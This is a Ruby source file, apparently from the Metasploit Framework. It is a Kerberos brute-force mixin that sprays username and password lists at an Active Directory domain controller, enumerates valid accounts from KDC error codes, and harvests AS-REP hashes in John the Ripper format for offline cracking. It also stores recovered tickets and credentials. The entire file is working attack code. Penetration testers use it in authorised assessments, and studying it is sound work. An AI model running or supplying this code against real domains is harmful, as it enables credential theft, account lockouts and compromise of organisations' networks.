# -*- coding: binary -*-

require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/kerberos'

module Msf::Exploit::Remote::Kerberos::AuthBrute

  include Msf::Exploit::Remote::Kerberos::Client
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute

  def initialize(info = {})
    super

    register_options(
      [
        Msf::OptString.new('DOMAIN', [true, 'The Domain Eg: demo.local'])
      ]
    )

    register_advanced_options(
      [
        Msf::OptInt.new('Timeout', [true, 'Maximum number of seconds to establish a TCP connection', 20])
      ]
    )
  end

  def attempt_kerberos_logins
    domain = datastore['DOMAIN'].upcase
    print_status("Using domain: #{domain} - #{peer}...")

    cred_collection = build_credential_collection(
      username: datastore['USERNAME'],
      password: datastore['PASSWORD'],
      realm: domain,
    )

    # If there are credential pairs due to no password/password list being supplied, default to using nil passwords to attempt AS-REP roasting
    if cred_collection.empty?
      cred_collection.nil_passwords = true
    end

    attempted_users = Set.new
    scanner = ::Metasploit::Framework::LoginScanner::Kerberos.new(
      host: self.rhost,
      port: self.rport,
      proxies: datastore['Proxies'],
      server_name: "krbtgt/#{domain}",
      cred_details: cred_collection,
      stop_on_success: datastore['STOP_ON_SUCCESS'],
      connection_timeout: datastore['Timeout'],
      framework: framework,
      framework_module: self,
    )

    scanner.scan! do |result|
      user = result.credential.public
      password = result.credential.private
      peer = result.host
      proof = result.proof

      case result.status
      when Metasploit::Model::Login::Status::SUCCESSFUL
        case proof
        when Rex::Proto::Kerberos::Model::Error::KerberosError
          print_good("#{peer} - User found: #{format_user(user)} with password #{password}, but no ticket received (#{proof})")
          report_cred(user: user, password: password)
        when Msf::Exploit::Remote::Kerberos::Model::TgtResponse
          hash = format_as_rep_to_john_hash(proof.as_rep)

          # Accounts that have 'Do not require Kerberos preauthentication' enabled, will receive an ASREP response with a
          # ticket present without requiring a password. This can be cracked offline.
          if proof.decrypted_part.nil?
            print_good("#{peer} - User: #{format_user(user)} does not require preauthentication. Hash: #{hash}")
          else
            print_good("#{peer} - User found: #{format_user(user)} with password #{password}. Hash: #{hash}")
            ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(result.proof.as_rep, result.proof.decrypted_part)
            Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, host: rhost, framework_module: self)
          end
          report_cred(user: user, password: password, asrep: hash)
        else
          print_good("#{peer} - User found: #{format_user(user)} with password #{password}.")
          report_cred(user: user, password: password)
        end
      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
        print_error("#{peer} - User: #{format_user(user)} - Unable to connect - #{proof}")

      when Metasploit::Model::Login::Status::INCORRECT, Metasploit::Model::Login::Status::INVALID_PUBLIC_PART
        if proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_WRONG_REALM
          print_error("#{peer} - User: #{format_user(user)} - #{proof}. Domain option may be incorrect. Aborting...")
          # Stop further requests entirely
          break
        elsif proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED
          print_good("#{peer} - User: #{format_user(user)} is present")
          report_cred(user: user)
        elsif proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_FAILED
          # If we haven't seen this user before, output that the user is present
          if !attempted_users.include?(user)
            attempted_users << user
            print_good("#{peer} - User: #{format_user(user)} is present")
            report_cred(user: user)
          else
            vprint_status("#{peer} - User: #{format_user(user)} wrong password #{password}")
          end
        elsif proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CLIENT_REVOKED
          print_error("#{peer} - User: #{format_user(user)} account disabled or locked out")
        elsif proof.error_code == Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_C_PRINCIPAL_UNKNOWN
          vprint_status("#{peer} - User: #{format_user(user)} user not found")
        else
          vprint_status("#{peer} - User: #{format_user(user)} - #{proof}")
        end
      when Metasploit::Model::Login::Status::LOCKED_OUT
        print_error("#{peer} - User: #{format_user(user)} account locked out")
      when Metasploit::Model::Login::Status::DISABLED
        print_error("#{peer} - User: #{format_user(user)} account disabled or expired")
      when Metasploit::Model::Login::Status::DENIED_ACCESS
        print_error("#{peer} - User: #{format_user(user)} account unable to log in")
      else
        print_error("#{peer} - User: #{format_user(user)} #{proof}")
      end
    end
  end

  def report_cred(opts)
    domain = datastore['DOMAIN'].upcase

    service_data = {
      address: rhost,
      port: rport,
      protocol: 'tcp',
      workspace_id: myworkspace_id,
      service_name: 'kerberos',
      realm_key: ::Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
      realm_value: domain
    }

    credential_data = {
      username: opts[:user],
      origin_type: :service,
      module_fullname: fullname
    }.merge(service_data)

    # TODO: Confirm if we should store both passwords and asrep accounts as two separate logins or not
    if opts[:password]
      credential_data.merge!(
        private_data: opts[:password],
        private_type: :password
      )
    elsif opts[:asrep]
      credential_data.merge!(
        private_data: opts[:asrep],
        private_type: :nonreplayable_hash,
        jtr_format: 'krb5'
      )
    end

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED
    }.merge(service_data)

    create_credential_login(login_data)
  end

  private

  def format_user(user)
    user.nil? ? 'nil' : "\"#{user}\""
  end
end
